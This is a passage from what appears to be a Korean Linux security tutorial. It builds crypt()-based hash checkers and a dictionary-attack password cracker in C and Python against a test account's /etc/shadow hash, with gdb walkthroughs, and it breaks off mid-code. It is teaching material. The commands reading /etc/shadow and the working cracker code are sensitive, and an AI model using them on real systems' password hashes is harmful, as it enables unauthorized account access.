(gdb) x/xb 0xffffd5d1
0xffffd5d1:     0x00
(gdb) n
12345ABC
12          printf(&quot;src: %s\n&quot;, src);   // ABC
(gdb) x/16xw &amp;src
0xffffd5fe:     0x00434241      0x00000000      0x00000000      0x00000000
0xffffd60e:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd61e:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd62e:     0xe0000000      0x0000f7fc      0x00000000      0x12d30000
(gdb) x/16xw &amp;dest
0xffffd5cc:     0x34333231      0x43424135      0x00000000      0x00000000
0xffffd5dc:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd5ec:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd5fc:     0x42410000      0x00000043      0x00000000      0x00000000
(gdb) c
Continuing.
src: ABC
dest: 12345ABC
[Inferior 1 (process 1407) exited normally]

(gdb) q
</code></pre><blockquote>
<p><strong>실습&gt; 동적으로 암호와 salt를 입력 받아서 사용하기</strong></p>
</blockquote>
<pre><code>1. 소스 코드 작성
# vi pass4.c 
/*
 * 파일명: pass4.c
 * 프로그램 설명: crypt() 함수를 이용한 해쉬값 확인하기
 * 작성자: 리눅스마스터넷
 * 
 * char *crypt(const char *key, const char *salt);
 * 컴파일 방법: gcc -o pass4 pass4.c -lcrypt
 */
#include&lt;stdio.h&gt;
#include&lt;string.h&gt;
#include&lt;crypt.h&gt;

int main(int argc, char *argv[])
{
    if(argc != 3) {
        fprintf(stderr, &quot;Usage: %s password salt\n&quot;, argv[0]);
        return 1;
    }

    char *pPass = argv[1];
    char pSalt[20] = &quot;$6$&quot;;
    char *pHash;

    strcat(pSalt, argv[2]); 
    pHash = crypt(pPass,pSalt);

    printf(&quot;%s \n&quot;,pHash);

    return 0;
}

2. 컴파일
# gcc -m32 -g -o pass4 pass4.c -lcrypt

3. 실행
# ./pass4 
Usage: ./pass4 password salt
# ./pass4 111111
Usage: ./pass4 password salt

테스트는 직접 본인의 비밀번호로 작업한다.
# tail -1 /etc/shadow|awk -F : &#39;{print $2}&#39;
$6$2AO8Wuo7$BrDrs38fP7pu9DQwMKObc81YPCEeXtYGJdrEJMqSb9T7inkJh.6qY65kbtic4IYLPp8UMpBwQg36mgU18edKE.

# ./pass4 111111 2AO8Wuo7
$6$2AO8Wuo7$BrDrs38fP7pu9DQwMKObc81YPCEeXtYGJdrEJMqSb9T7inkJh.6qY65kbtic4IYLPp8UMpBwQg36mgU18edKE.

# ./pass4 111111 jp3hK011
$6$jp3hK011$hgouaAnJ8TBWVlmD8EcU7s6f2utk7hkEfKH.WTevrZfBrVTqU5T8Ja8hdZ9EqqyD50Ivm4VXl6SzVMCkC6jPK. 
</code></pre><blockquote>
<p>*<em>실습&gt; 파이썬으로 변경하기 *</em></p>
</blockquote>
<pre><code>python crypt() 함수
https://docs.python.org/ko/3/library/crypt.html

파일명: 
pass.c  -&gt; pass.py
pass4.c -&gt; pass4.py

파이썬 가상환경을 만들고 소스코드를 만든다.

1. 파이썬 3.8 설치
yum -y install centos-release-scl
yum -y install rh-python38
scl enable rh-python38 bash
echo &#39;scl enable rh-python38 bash&#39; &gt;&gt; ~/.bash_profile
python --version

2. 가상환경 생성
# python -m venv cryptProject
# . cryptProject/bin/activate
(cryptProject) [root@localhost ~]# 

(cryptProject) [root@localhost ~]# python -m pip install --upgrade pip
(cryptProject) [root@localhost ~]# python -m pip list
Package    Version
---------- -------
pip        23.0.1
setuptools 41.6.0

pass.c -&gt; pass.py 변경하기
(cryptProject) [root@localhost ~]# vi pass.py 
#!/usr/bin/env python
&quot;&quot;&quot;
파일명: pass.py
프로그램 설명: crypt() 함수를 이용한 해쉬값 확인하기
작성자: 리눅스마스터넷
&quot;&quot;&quot;

import crypt
pPass = &quot;111111&quot;        # 비밀번호
pSalt = &quot;$6$qh/lKXOk$&quot;  # /etc/shadow 파일에서 각자 자신의 설정된 값으로 설정한다.
print(f&quot;passuser:{crypt.crypt(pPass,pSalt)}&quot;)

(cryptProject) [root@localhost ~]# tail -1 /etc/shadow
passuser:$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.:19435:0:99999:7:::

(cryptProject) [root@localhost ~]# chmod 755 pass.py
(cryptProject) [root@localhost ~]# ./pass.py
passuser:$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.
(cryptProject) [root@localhost ~]# grep passuser /etc/shadow
passuser:$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.:19435:0:99999:7:::



pass4.c -&gt; pass4.py 변경하기
(cryptProject) [root@localhost ~]# vi pass4.py 
#!/usr/bin/env python
&quot;&quot;&quot;
파일명: pass4.py
프로그램 설명: crypt() 함수를 이용한 해쉬값 확인하기
작성자: 리눅스마스터넷
&quot;&quot;&quot;

import crypt
import sys

argc = len(sys.argv)

if argc != 3:
    print(f&quot;Usage: {sys.argv[0]} password salt&quot;, file=sys.stderr)
    sys.exit(1)

pPass = sys.argv[1]
pSalt = &quot;$6$&quot; + sys.argv[2]
pHash = crypt.crypt(pPass,pSalt)
print(f&quot;passuser:{pHash}&quot;)

(cryptProject) [root@localhost ~]# chmod 755 pass4.py 
(cryptProject) [root@localhost ~]# grep passuser /etc/shadow
passuser:$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.:19435:0:99999:7:::

(cryptProject) [root@localhost ~]# ./pass4.py
Usage: ./pass4.py password salt
(cryptProject) [root@localhost ~]# ./pass4.py 111111
Usage: ./pass4.py password salt
(cryptProject) [root@localhost ~]# ./pass4.py 111111 qh/lKXOk
passuser:$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.</code></pre><blockquote>
<p><strong>실습&gt; 사전 파일 공격 프로그램 작성하기</strong></p>
</blockquote>
<pre><code>1. 사용자 생성
passuser 사용자를 생성한다.
# useradd passuser
# echo 111111 | passwd --stdin passuser

2. 비밀번호 확인
passuser 계정의 비번을 확인한다.
# grep passuser /etc/shadow
passuser:$6$LSOx7Bx.$O2KVaIXsboxexxrLxfp2jayeXt.YBCbbwQmz5n5zEiIkDgROxnRmplahQm6wVD8KHJbbNbywhlvINOhC9sLJq1:19093:0:99999:7:::

3. 프로그램 작성
vi에서 붙여넣기할 때 :set noai, :set paste를 설정하고 붙여넣는다.
# vi dictAttack.c 
/*
 * 파일명: dictAttack.c
 * 프로그램 설명: 사전파일 공격
 * 작성자: 리눅스마스터넷 
 * 컴파일: gcc -m32 -g -o dictAttack dictAttack.c -lcrypt
 */

#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;crypt.h&gt;

int main()
{
    // /etc/shadow에서 각자의 비밀번호 값으로 채운다.
    // grep passuser /etc/shadow
    // passuser 비밀번호: 111111
    char hash[] = &quot;$6$LSOx7Bx.$O2KVaIXsboxexxrLxfp2jayeXt.YBCbbwQmz&quot;
                  &quot;5n5zEiIkDgROxnRmplahQm6wVD8KHJbbNbywhlvINOhC9sLJq1&quot;;
    char salt[] = &quot;$6$LSOx7Bx.&quot;;
    char word[20] = &quot;\0&quot;;
    char *result;
    int count = 1;
    int found = 0;

    FILE *fp = fopen(&quot;dict.txt&quot;,&quot;r&quot;);
    if(fp == NULL)
    {   
        fprintf(stderr, &quot;[-] dict.txt 파일이 없습니다.\n&quot;);
        return 1;
    }   

    while(fscanf(fp,&quot;%s&quot;,word) != EOF)
    {

#ifdef DEBUG
        printf(&quot;Debug: %s\n&quot;, word);
#endif
        result = crypt(word, salt);
        if(strcmp(result, hash) == 0)  // 비교해서 맞으면
        {
            printf(&quot;&gt;&gt;&gt; count : %d &lt;&lt;&lt;\n&quot;, count);
            printf(&quot;[*] password is: %s\n&quot; , word);
            found = 1;
            break;
        }
        count++;
    }

    if(!found)  // 비밀번호를 찾지 못했다면
        printf(&quot;password not found!\n&quot;);

    fclose(fp);

    return 0;
}

4. 컴파일/실행
# gcc -g -o dictAttack dictAttack.c -DDEBUG -lcrypt
# ./dictAttack
[-] dict.txt 파일이 없습니다.

5. 사전 파일 생성
dict.txt 이름으로 사전 파일을 생성한다.
# vi dict.txt
1
11
111
1111
11111
111111
1111111
a
aa
aaa

6. 실행
# ./dictAttack 
Debug: 1
Debug: 11
Debug: 111
Debug: 1111
Debug: 11111
Debug: 111111
&gt;&gt;&gt; count : 6 &lt;&lt;&lt;
[*] password is: 111111

# gcc -m32 -g -o dictAttack dictAttack.c -lcrypt
# ./dictAttack 
&gt;&gt;&gt; count : 6 &lt;&lt;&lt;
[*] password is: 111111

7. 비번 변경
# echo aaa | passwd --stdin passuser
# grep passuser /etc/shadow
passuser:$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.:19435:0:99999:7:::
</code></pre><blockquote>
<p><strong>실습&gt; 디버깅으로 분석하기</strong></p>
</blockquote>
<pre><code># gdb dictAttack
Reading symbols from /root/dictAttack...done.
(gdb)
(gdb) b main
Breakpoint 1 at 0x804860c: file dictAttack.c, line 17.
(gdb) r
Starting program: /root/dictAttack

Breakpoint 1, main () at dictAttack.c:17
17          char hash[] = &quot;$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51&quot;
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686 nss-softokn-freebl-3.79.0-4.el7_9.i686
(gdb) n
19          char salt[] = &quot;$6$qh/lKXOk$&quot;;
(gdb) n
20          char word[20] = &quot;\0&quot;;
(gdb) n
22          int count = 1;
(gdb) n
23          int found = 0;
(gdb) n
25          FILE *fp = fopen(&quot;dict.txt&quot;,&quot;r&quot;);
(gdb) p hash
$1 = &quot;$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.&quot;
(gdb) p salt
$2 = &quot;$6$qh/lKXOk$&quot;
(gdb) p count
$3 = 1
(gdb) p found
$4 = 0
(gdb) p fp
$5 = (FILE *) 0xffffd544
(gdb) p *fp
$6 = {_flags = -10605, _IO_read_ptr = 0x0, _IO_read_end = 0xffffd6a4 &quot;MANPATH=/opt/rh/rh-python38/root/usr/share/man:&quot;,
  _IO_read_base = 0xffffd6d4 &quot;XDG_SESSION_ID=1&quot;, _IO_write_base = 0xffffd6e5 &quot;HOSTNAME=localhost.localdomain&quot;,
  _IO_write_ptr = 0xffffd704 &quot;SELINUX_ROLE_REQUESTED=&quot;, _IO_write_end = 0xffffd71c &quot;TERM=xterm&quot;,
  _IO_buf_base = 0xffffd727 &quot;SHELL=/bin/bash&quot;, _IO_buf_end = 0xffffd737 &quot;HISTSIZE=1000&quot;,
  _IO_save_base = 0xffffd745 &quot;SSH_CLIENT=200.200.200.1 50137 22&quot;, _IO_backup_base = 0xffffd767 &quot;SELINUX_USE_CURRENT_RANGE=&quot;,
  _IO_save_end = 0xffffd782 &quot;X_SCLS=rh-python38 &quot;, _markers = 0xffffd796, _chain = 0xffffd7a9, _fileno = -10317, _flags2 = -10               266,
  _old_offset = -8830, _cur_column = 56718, _vtable_offset = -1 &#39;\377&#39;, _shortbuf = &quot;\377&quot;, _lock = 0xffffddad, _offset = -369               36718754361,
  __pad1 = 0xffffde76, __pad2 = 0xffffde80, __pad3 = 0xffffde91, __pad4 = 0xffffdeaa, __pad5 = 4294958771, _mode = -8502,
  _unused2 = &quot;\322\336\377\377\335\336\377\377\352\336\377\377\067\337\377\377k\337\377\377\250\337\377\377\313\337\377\377\00               0\000\000\000 \000\000\000 \224\375&quot;, &lt;incomplete sequence \367&gt;}
(gdb) n
26          if(fp == NULL)
(gdb) p *fp
$7 = {_flags = -72539000, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0               x0,
  _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0,
  _markers = 0x0, _chain = 0xf7f9d980 &lt;_IO_2_1_stderr_&gt;, _fileno = 7, _flags2 = 0, _old_offset = 0, _cur_column = 0,
  _vtable_offset = 0 &#39;\000&#39;, _shortbuf = &quot;&quot;, _lock = 0x804b0a0, _offset = -1, __pad1 = 0x0, __pad2 = 0x804b0ac, __pad3 = 0x0,                __pad4 = 0x0,
  __pad5 = 0, _mode = 0, _unused2 = &#39;\000&#39; &lt;repeats 39 times&gt;}
(gdb) p fp
$8 = (FILE *) 0x804b008
(gdb) n
32          while(fscanf(fp,&quot;%s&quot;,word) != EOF)
(gdb) n
38              result = crypt(word, salt);
(gdb) p word
$9 = &quot;1&quot;, &#39;\000&#39; &lt;repeats 18 times&gt;
(gdb) x/16xw &amp;word
0xffffd3fc:     0x00000031      0x00000000      0x00000000      0x00000000
0xffffd40c:     0x00000000      0x71243624      0x4b6c2f68      0x246b4f58
0xffffd41c:     0x24362400      0x6c2f6871      0x6b4f584b      0x4f556824
0xffffd42c:     0x4c4b3051      0x35305759      0x465a654f      0x766b6b4f
(gdb) n
39              if(strcmp(result, hash) == 0)  // 비교해서 맞으면
(gdb) p result
$10 = 0x804b170 &quot;$6$qh/lKXOk$ZxAnywAnw6ypFIMpdThNUIel/ijRDX.kn4kHVVVLzyXouhUczi/PmjRCcDo3clbV59CTtKH3/tBC1ZSNnqTJ8/&quot;
(gdb) p hash
$11 = &quot;$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.&quot;
(gdb) n
46              count++;
(gdb) p count
$12 = 1
(gdb) n
32          while(fscanf(fp,&quot;%s&quot;,word) != EOF)
(gdb) p count
$13 = 2
(gdb) n
38              result = crypt(word, salt);
(gdb) p word
$14 = &quot;11&quot;, &#39;\000&#39; &lt;repeats 17 times&gt;
(gdb) x/16xw word
0xffffd3fc:     0x00003131      0x00000000      0x00000000      0x00000000
0xffffd40c:     0x00000000      0x71243624      0x4b6c2f68      0x246b4f58
0xffffd41c:     0x24362400      0x6c2f6871      0x6b4f584b      0x4f556824
0xffffd42c:     0x4c4b3051      0x35305759      0x465a654f      0x766b6b4f
(gdb) x/16xw count
0x2:    Cannot access memory at address 0x2
(gdb) n
39              if(strcmp(result, hash) == 0)  // 비교해서 맞으면
(gdb) n
46              count++;
(gdb) n
32          while(fscanf(fp,&quot;%s&quot;,word) != EOF)
(gdb) n
38              result = crypt(word, salt);
(gdb) x/16xw word
0xffffd3fc:     0x00313131      0x00000000      0x00000000      0x00000000
0xffffd40c:     0x00000000      0x71243624      0x4b6c2f68      0x246b4f58
0xffffd41c:     0x24362400      0x6c2f6871      0x6b4f584b      0x4f556824
0xffffd42c:     0x4c4b3051      0x35305759      0x465a654f      0x766b6b4f
(gdb) n
39              if(strcmp(result, hash) == 0)  // 비교해서 맞으면
(gdb) p result
$15 = 0x804b170 &quot;$6$qh/lKXOk$D9nudUorSMOgfT6jCp3IIAAF.5V3MpiIGepdDcUYBU2NxSREtu.ea34tNuNGbuv.kQ3pEYfxwOs4oyG0nkcVX/&quot;
(gdb) p hash
$16 = &quot;$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.&quot;
(gdb) n
46              count++;
(gdb) n
32          while(fscanf(fp,&quot;%s&quot;,word) != EOF)
(gdb) n
38              result = crypt(word, salt);
(gdb) x/16xw word
0xffffd3fc:     0x31313131      0x00000000      0x00000000      0x00000000
0xffffd40c:     0x00000000      0x71243624      0x4b6c2f68      0x246b4f58
0xffffd41c:     0x24362400      0x6c2f6871      0x6b4f584b      0x4f556824
0xffffd42c:     0x4c4b3051      0x35305759      0x465a654f      0x766b6b4f
(gdb) n
39              if(strcmp(result, hash) == 0)  // 비교해서 맞으면
(gdb) p result
$17 = 0x804b170 &quot;$6$qh/lKXOk$SD3Hk0oz4kag5rgWfcl7c7DxMxP1gP/Mdhq8p1fzH3Ucpa2WTAZ/zUTFywgyEDa5NUVKjdhPp4mPFEk.lz/4z.&quot;
(gdb) p hash
$18 = &quot;$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.&quot;
(gdb) n
46              count++;
(gdb) n
32          while(fscanf(fp,&quot;%s&quot;,word) != EOF)
(gdb) n
38              result = crypt(word, salt);
(gdb) p word
$19 = &quot;11111&quot;, &#39;\000&#39; &lt;repeats 14 times&gt;
(gdb) x/16xw word
0xffffd3fc:     0x31313131      0x00000031      0x00000000      0x00000000
0xffffd40c:     0x00000000      0x71243624      0x4b6c2f68      0x246b4f58
0xffffd41c:     0x24362400      0x6c2f6871      0x6b4f584b      0x4f556824
0xffffd42c:     0x4c4b3051      0x35305759      0x465a654f      0x766b6b4f
(gdb) n
39              if(strcmp(result, hash) == 0)  // 비교해서 맞으면
(gdb) p result
$20 = 0x804b170 &quot;$6$qh/lKXOk$nDdR6a0lGDN.ogb7RE5JuKLeYWUeQ/piuem78tNPug7mZnTnDuquWxgtL.RaiKGAqfyRGuiUoUJV4aPn6oDzs/&quot;
(gdb) p hash
$21 = &quot;$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.&quot;
(gdb) n
46              count++;
(gdb) n
32          while(fscanf(fp,&quot;%s&quot;,word) != EOF)
(gdb) p count
$22 = 6
(gdb) n
38              result = crypt(word, salt);
(gdb) x/16xw word
0xffffd3fc:     0x31313131      0x00003131      0x00000000      0x00000000
0xffffd40c:     0x00000000      0x71243624      0x4b6c2f68      0x246b4f58
0xffffd41c:     0x24362400      0x6c2f6871      0x6b4f584b      0x4f556824
0xffffd42c:     0x4c4b3051      0x35305759      0x465a654f      0x766b6b4f
(gdb) n
39              if(strcmp(result, hash) == 0)  // 비교해서 맞으면
(gdb) x/16xw result
0x804b170:      0x71243624      0x4b6c2f68      0x246b4f58      0x514f5568
0x804b180:      0x594c4b30      0x4f353057      0x4f465a65      0x42766b6b
0x804b190:      0x67577249      0x7a78664e      0x4537772e      0x684a3176
0x804b1a0:      0x432e3135      0x5239424b      0x66314d57      0x2e4f6f51
(gdb) p result
$23 = 0x804b170 &quot;$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.&quot;
(gdb) p hash
$24 = &quot;$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.&quot;
(gdb) n
41                  printf(&quot;&gt;&gt;&gt; count : %d &lt;&lt;&lt;\n&quot;, count);
(gdb) p $eax
$25 = 0
(gdb) n
&gt;&gt;&gt; count : 6 &lt;&lt;&lt;
42                  printf(&quot;[*] password is: %s\n&quot; , word);
(gdb) p count
$26 = 6
(gdb) n
[*] password is: 111111
43                  found = 1;
(gdb) p found
$27 = 0
(gdb) n
44                  break;
(gdb) p found
$28 = 1
(gdb) n
49          if(!found)  // 비밀번호를 찾지 못했다면
(gdb) n
52          fclose(fp);
(gdb) n
54          return 0;
(gdb) c
Continuing.
[Inferior 1 (process 2067) exited normally]
(gdb) q
</code></pre><blockquote>
<p><strong>실습&gt; gdb 를 이용한 분석</strong></p>
</blockquote>
<pre><code>사전 파일인 dict.txt 파일이 없을 경우
fp 변수에 NULL 포인터(0x00000000)가 리턴된다.

1. 컴파일
# gcc -m32 -g -o dictAttack dictAttack.c -DDEBUG -lcrypt
# ./dictAttack
Debug: 1
Debug: 11
Debug: 111
Debug: 1111
Debug: 11111
Debug: 111111
&gt;&gt;&gt; count : 6 &lt;&lt;&lt;
[*] password is: 111111

2. 사전 파일 이름 변경
dict.txt 파일을 dict.txt.bak 파일로 이름을 변경한다.
# mv dict.txt dict.txt.bak

dict.txt 파일이 존재하지 않으므로 에러를 출력하고 프로세스를 종료한다.
# ./dictAttack
[-] dict.txt 파일이 없습니다.

3. gdb 분석
# gdb dictAttack
Reading symbols from /root/dictAttack...done.
(gdb) b main
Breakpoint 1 at 0x804860c: file dictAttack.c, line 17.
(gdb) r
Starting program: /root/dictAttack

Breakpoint 1, main () at dictAttack.c:17
17          char hash[] = &quot;$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51&quot;
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686 nss-softokn-freebl-3.79.0-4.el7_9.i686
(gdb) n
19          char salt[] = &quot;$6$qh/lKXOk$&quot;;
(gdb) n
20          char word[20] = &quot;\0&quot;;
(gdb) n
22          int count = 1;
(gdb) n
23          int found = 0;
(gdb) n
25          FILE *fp = fopen(&quot;dict.txt&quot;,&quot;r&quot;);
(gdb) n
26          if(fp == NULL)

(gdb) p sizeof(fp)
$1 = 4

dict 파일이 없으면 NULL 포인터(32bit 이므로 0x00000000) 가 저장된다.
(gdb) x/xw &amp;fp
0xffffd484:     0x00000000

(gdb) n
28              fprintf(stderr, &quot;[-] dict.txt 파일이 없습니다.\n&quot;);
(gdb) n
[-] dict.txt 파일이 없습니다.
29              return 1;
(gdb) n
55      }

eax 레지스터에 리턴값이 저장되므로 확인한다.
(gdb) p $eax
$2 = 1
(gdb) c
Continuing.
[Inferior 1 (process 2148) exited with code 01]
(gdb) q
</code></pre><blockquote>
<p><strong>실습&gt; gdb 를 이용한 분석</strong></p>
</blockquote>
<pre><code>사전 파일인 dict.txt 파일이 있을 경우
fp 변수에 어떤 주소가 리턴된다.

1. 사전 파일 이름 변경
# mv dict.txt.bak dict.txt
# ./dictAttack
Debug: 1
Debug: 11
Debug: 111
Debug: 1111
Debug: 11111
Debug: 111111
&gt;&gt;&gt; count : 6 &lt;&lt;&lt;
[*] password is: 111111

2. gdb 분석
# gdb dictAttack
Reading symbols from /root/dictAttack...done.
(gdb) b main
Breakpoint 1 at 0x804860c: file dictAttack.c, line 17.
(gdb) r
Starting program: /root/dictAttack

Breakpoint 1, main () at dictAttack.c:17
17          char hash[] = &quot;$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51&quot;
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686 nss-softokn-freebl-3.79.0-4.el7_9.i686
(gdb) n
19          char salt[] = &quot;$6$qh/lKXOk$&quot;;
(gdb)
20          char word[20] = &quot;\0&quot;;
(gdb)
22          int count = 1;
(gdb)
23          int found = 0;
(gdb)
25          FILE *fp = fopen(&quot;dict.txt&quot;,&quot;r&quot;);
(gdb)
26          if(fp == NULL)

파일이 존재할 경우 파일 포인터 fp 변수에 어떤 값이 저장된다.
(gdb) x/xw fp
0x804b008:      0xfbad2488

if(fp == NULL) 이 거짓이므로 그 다음 코드인 while문 쪽으로 이동한 것이다.
(gdb) n
32          while(fscanf(fp,&quot;%s&quot;,word) != EOF)

(gdb) c
Continuing.
Debug: 1
Debug: 11
Debug: 111
Debug: 1111
Debug: 11111
Debug: 111111
&gt;&gt;&gt; count : 6 &lt;&lt;&lt;
[*] password is: 111111
[Inferior 1 (process 2174) exited normally]
(gdb) q


# vi dictAttack2.c 
/*
 * 파일명: dictAttack2.c
 * 프로그램 설명: 사전파일 공격
 * 작성자: 리눅스마스터넷
 * 컴파일: gcc -g -o dictAttack dictAttack.c -lcrypt
 */

#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;crypt.h&gt;

int main()
{
    // /etc/shadow에서 가져와서 각자의 값으로 채운다.
    char hash[] = &quot;$6$5WdPl43d$Xzv9gUyXaiA5iT4mDyHLloUt/b9sUsGu1p/3rC0Pi&quot;
                  &quot;kFteQ8K2vp1x7vJuGS6zOIsT4g824FrZ/wPHeQYR281G0&quot;;
    char key[]  = &quot;$6$5WdPl43d$&quot;;
    char word[20] = &quot;\0&quot;;
    char *result;
    int count = 1;
    int found = 0;

    FILE *fp = fopen(&quot;dict.txt&quot;,&quot;r&quot;);  // 파일 열기
    if(fp == NULL)  // 파일이 없다면
    {   
        fprintf(stderr, &quot;[-] dict.txt 파일이 없습니다.\n&quot;);  // 에러를 출력하고 
        return 1;  // 프로세스를 종료한다.
    }   

    while(fscanf(fp,&quot;%s&quot;,word) != EOF)  // dict.txt 파일을 한 줄 읽어서 word에 저장한다.
    {

#ifdef DEBUG
        printf(&quot;Debug: %s\n&quot;, word);                                                                   
#enddef
        result = crypt(word, key);      // 암호화해서 나온 결과를 result 변수에 저장한다.
        if(strcmp(result, hash) == 0)   // 저장된 해쉬값과 result가 맞으면
        {
            found = 1;
            printf(&quot;&gt;&gt;&gt; count : %d &lt;&lt;&lt;\n&quot;, count);   // count를 출력한다.
            printf(&quot;[*] password is: %s\n&quot; , word);  // 암호를 출력한다.
            break;  // while문 탈출
        }

        count++;  // 카운트 증가
    }

    fclose(fp);  // 파일 닫기

    if(!found)   // 비밀번호를 못찾으면
    {   
        printf(&quot;&gt;&gt;&gt; count : %d &lt;&lt;&lt;\n&quot;, --count);
        printf(&quot;[-] password not found!!!\n&quot;);
    }  

    return 0;
}

# gcc -o dictAttack2 dictAttack2.c -DDEBUG -lcrypt
# ./dictAttack2 
Debug: 1
Debug: 11
Debug: 111
Debug: 1111
Debug: 11111
Debug: 111111
Debug: 1111111
Debug: a
Debug: aa
Debug: aaa
&gt;&gt;&gt; count : 10 &lt;&lt;&lt;
[*] password is: aaa

# gcc -o dictAttack2 dictAttack2.c -lcrypt
# ./dictAttack2 
&gt;&gt;&gt; count : 10 &lt;&lt;&lt;
[*] password is: aaa
</code></pre><blockquote>
<p><strong>실습&gt; dictAttack.c를 파이썬으로 변경하기</strong></p>
</blockquote>
<pre><code>파일명: dictAttack.c -&gt; dictAttack.py

1. 예외처리가 안된 코드
파이썬으로 파일 읽기
# vi fileOpen.py
#!/usr/bin/env python
&quot;&quot;&quot;
파일명: fileOpen.py
프로그램 설명: 파이썬으로 파일 읽기(예외처리가 없는 경우)
작성자: 리눅스마스터넷
&quot;&quot;&quot;

count = 1
f = open(&quot;dict.txt&quot;, &quot;rt&quot;)
for word in f:
    print(f&quot;{count} &quot;, end=&#39;&#39;)
    print(word, end=&#39;&#39;)
    count += 1

f.close()

# mv dict.txt dict.txt.bak
# chmod 755 fileOpen.py
# ./fileOpen.py
Traceback (most recent call last):
  File &quot;./fileOpen.py&quot;, line 9, in &lt;module&gt;
    f = open(&quot;dict.txt&quot;, &quot;rt&quot;)
FileNotFoundError: [Errno 2] No such file or directory: &#39;dict.txt&#39;

2. 예외처리가 된 코드
파이썬으로 파일 읽기
# vi fileOpen.py
#!/usr/bin/env python
&quot;&quot;&quot;
파일명: fileOpen.py
프로그램 설명: 파이썬으로 파일 읽기(예외처리가 있는 경우)
작성자: 리눅스마스터넷
&quot;&quot;&quot;

count = 1
try:
    f = open(&quot;dict.txt&quot;, &quot;rt&quot;)
    for word in f:
        print(f&quot;{count} &quot;, end=&#39;&#39;)
        print(word, end=&#39;&#39;)
        count += 1
except FileNotFoundError as e:
    print(e)
else:
    f.close()

# ./fileOpen.py
[Errno 2] No such file or directory: &#39;dict.txt&#39;</code></pre><blockquote>
<p><strong>실습&gt; dictAttack.py 파일 생성하기</strong></p>
</blockquote>
<pre><code>1. 소스코드
open ~ close 를 이용한 경우
dictAttack.py 파일을 생성한다.
(cryptProject) [root@localhost ~]# vi dictAttack.py 
#!/usr/bin/env python
&quot;&quot;&quot;
파일명: dictAttack.py
프로그램 설명: 사전파일 공격
작성자: 리눅스마스터넷
&quot;&quot;&quot;

import sys
import crypt

# /etc/shadow에서 가져와서 각자의 값으로 채운다.
# grep passuser /etc/shadow
# passuser:$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.:19435:0:99999:7:::
hash = &quot;$6$qh/lKXOk$hUOQ0KLYW05OeZFOkkvBIrWgNfxz.w7Ev1Jh51.CKB9RWM1fQoO.Y1hf9G1x8t6fxKXuv33IUUJIlbT8SRW3d.&quot;
salt  = &quot;$6$qh/lKXOk$&quot;
count = 1
found = 0
DEBUG = 0

try:
    fp = open(&quot;dict.txt&quot;,&quot;rt&quot;)

    for word in fp:
        word = word.replace(&#39;\n&#39;, &#39;&#39;)  # 한 줄의 끝에 있는 엔터(&#39;\n&#39;)를 제거한다.

        if DEBUG:
            print(f&quot;Debug: {word}&quot;)

        result = crypt.crypt(word, salt)

        if result == hash:  # 비교해서 맞으면
            print(f&quot;&gt;&gt;&gt; count : {count} &lt;&lt;&lt;&quot;)
            print(f&quot;[*] password is: {word}&quot;)
            found = 1
